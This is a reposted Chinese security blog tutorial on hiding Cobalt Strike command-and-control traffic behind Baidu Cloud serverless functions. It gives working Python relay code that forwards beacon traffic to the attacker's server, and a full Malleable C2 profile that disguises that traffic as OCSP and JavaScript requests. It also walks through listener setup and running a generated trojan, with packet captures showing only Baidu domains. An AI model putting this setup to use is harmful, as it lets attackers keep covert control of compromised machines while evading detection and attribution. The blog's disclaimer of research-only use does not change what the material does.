C2流量隐藏-云函数

admin 2025年5月14日15:45:00评论2 views字数 2688阅读8分57秒阅读模式

本公众号提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;

本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。

原文链接:https://www.securepulse.website/archives/c2yunhanshu%20

C2流量隐藏-云函数

一、云函数介绍

  • 云函数是一种无服务器(Serverless)计算服务,开发者只需上传代码并设置触发条件,云平台负责自动分配资源、执行代码并按需收费。其核心特点是事件驱动和无服务器架构,用户无需管理底层服务器、操作系统或运维资源。
  • 原理
    • 事件触发:云函数通过事件(如HTTP请求、文件上传、数据库变更等)触发执行,用户预先将代码部署到云平台,并绑定事件源(如API网关、对象存储、消息队列等)。
    • 资源分配:当事件发生时,云平台动态分配计算资源(如容器实例)加载代码运行,执行完毕后立即释放资源,避免闲置成本。
    • 自动扩缩容:高并发时云函数自动复制多个实例并行处理请求,流量下降时自动缩减实例,实现弹性伸缩。
    • 按需计费:根据实际执行的代码时长和内存消耗计费,而非预付费或固定服务器成本。

二、云函数在红队中的运用

  • 云函数可以用于攻击防溯源,隐匿自己的C2的ip,从蓝队的角度来讲,会看到一个主机的联网行为会非常奇怪,这个主机会跟多个节点有反向连接,但节点是代理池的表现形式(比如多个ip,或者说是一个主域名的多个子域名);
  • 从红队角度来讲就是隐藏,类似于域前置,相当于被攻击者控制的那台主机,通过代理池的表现形式(多节点)的方式回到了C2某个端口上;
  • 也就是说可以利用云厂商提供的云函数功能,将客户端的请求进行转发,并且由于云函数拥有非常多的出口IP,所以一定程度上可以减小IP被封禁的影响,也能隐藏攻击者的源IP。
  • 流量走向
C2流量隐藏-云函数

三、通过云函数搭建代理池,隐藏C2地址(百度云举例)

  • 登录百度云,使用函数计算服务
    • 地址:https://cloud.baidu.com/product/cfc.html
C2流量隐藏-云函数
  • 创建函数-->空白函数
C2流量隐藏-云函数
C2流量隐藏-云函数
  • 填写基础信息(选择Python3.6)
C2流量隐藏-云函数
  • 触发器设置:选择http触发器、URL路径填写{path+},HTTP方法全选,然后点提交
C2流量隐藏-云函数
  • 点击进入代码编辑页
C2流量隐藏-云函数
  • 输入以下代码然后保存
# -*- coding: utf-8 -*-# def handler(event, context): #     return "Hello World"import json,requests,base64def handler(event, context):    C2='https://VPS地址(C2服务端):443'# 这里可以使用 HTTP、HTTPS~下角标~    path=event['path']    headers=event['headers']    print(event)    if event['httpMethod'] == 'GET' :        resp=requests.get(C2+path,headers=headers,verify=False)    else:        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)    print(resp.headers)    print(resp.content)    response={    "isBase64Encoded"True,    "statusCode": resp.status_code,    "headers"dict(resp.headers),    "body"str(base64.b64encode(resp.content))[2:-1]    }    #return event    return response
C2流量隐藏-云函数
  • 在CS客户端所在目录放置profile文件,并且启动时调用该profile文件
    • 文件内容如下
http-get {  set uri "/api/x";  client {      header "Accept" "*/*";      metadata {          base64;          prepend "SESSIONID=";          header "Cookie";      }  }  server {      header "Content-Type" "application/ocsp-response";      header "content-transfer-encoding" "binary";      header "Server" "Nodejs";      output {          base64;          print;      }  }}http-stager {  set uri_x86 "/vue.min.js";  set uri_x64 "/bootstrap-2.min.js";}http-post {  set uri "/api/y";  client {      header "Accept" "*/*";      id {          base64;          prepend "JSESSION=";          header "Cookie";      }      output {          base64;          print;      }  }  server {      header "Content-Type" "application/ocsp-response";      header "content-transfer-encoding" "binary";      header "Connection" "keep-alive";      output {          base64;          print;      }  }}
C2流量隐藏-云函数
  • 创建监听器
    • HTTP地址在触发器这里输入云函数提供的域名(要把https://去掉,还要把末尾的/{path+}也去掉)
C2流量隐藏-云函数
    • 注意:这里的Beacon类型和端口号要和前面云函数代码规定的C2='https://VPS地址(C2服务端):443'保持一致(此时为https协议,443端口)
C2流量隐藏-云函数
  • 此时生成木马,在测试机上执行上线
C2流量隐藏-云函数
  • 然后在测试机上通过wireshark抓取流量,由于恶意木马会从受害者本地解析云函数地址,因此DNS流量中可以看到云函数地址为百度的子域名而不是攻击者的ip
C2流量隐藏-云函数
  • 在科来分析工具上也能看到识别的不是攻击者VPS的ip
C2流量隐藏-云函数

原文始发于微信公众号(SecurePulse):C2流量隐藏-云函数

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月14日15:45:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C2流量隐藏-云函数https://cn-sec.com/archives/4061326.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息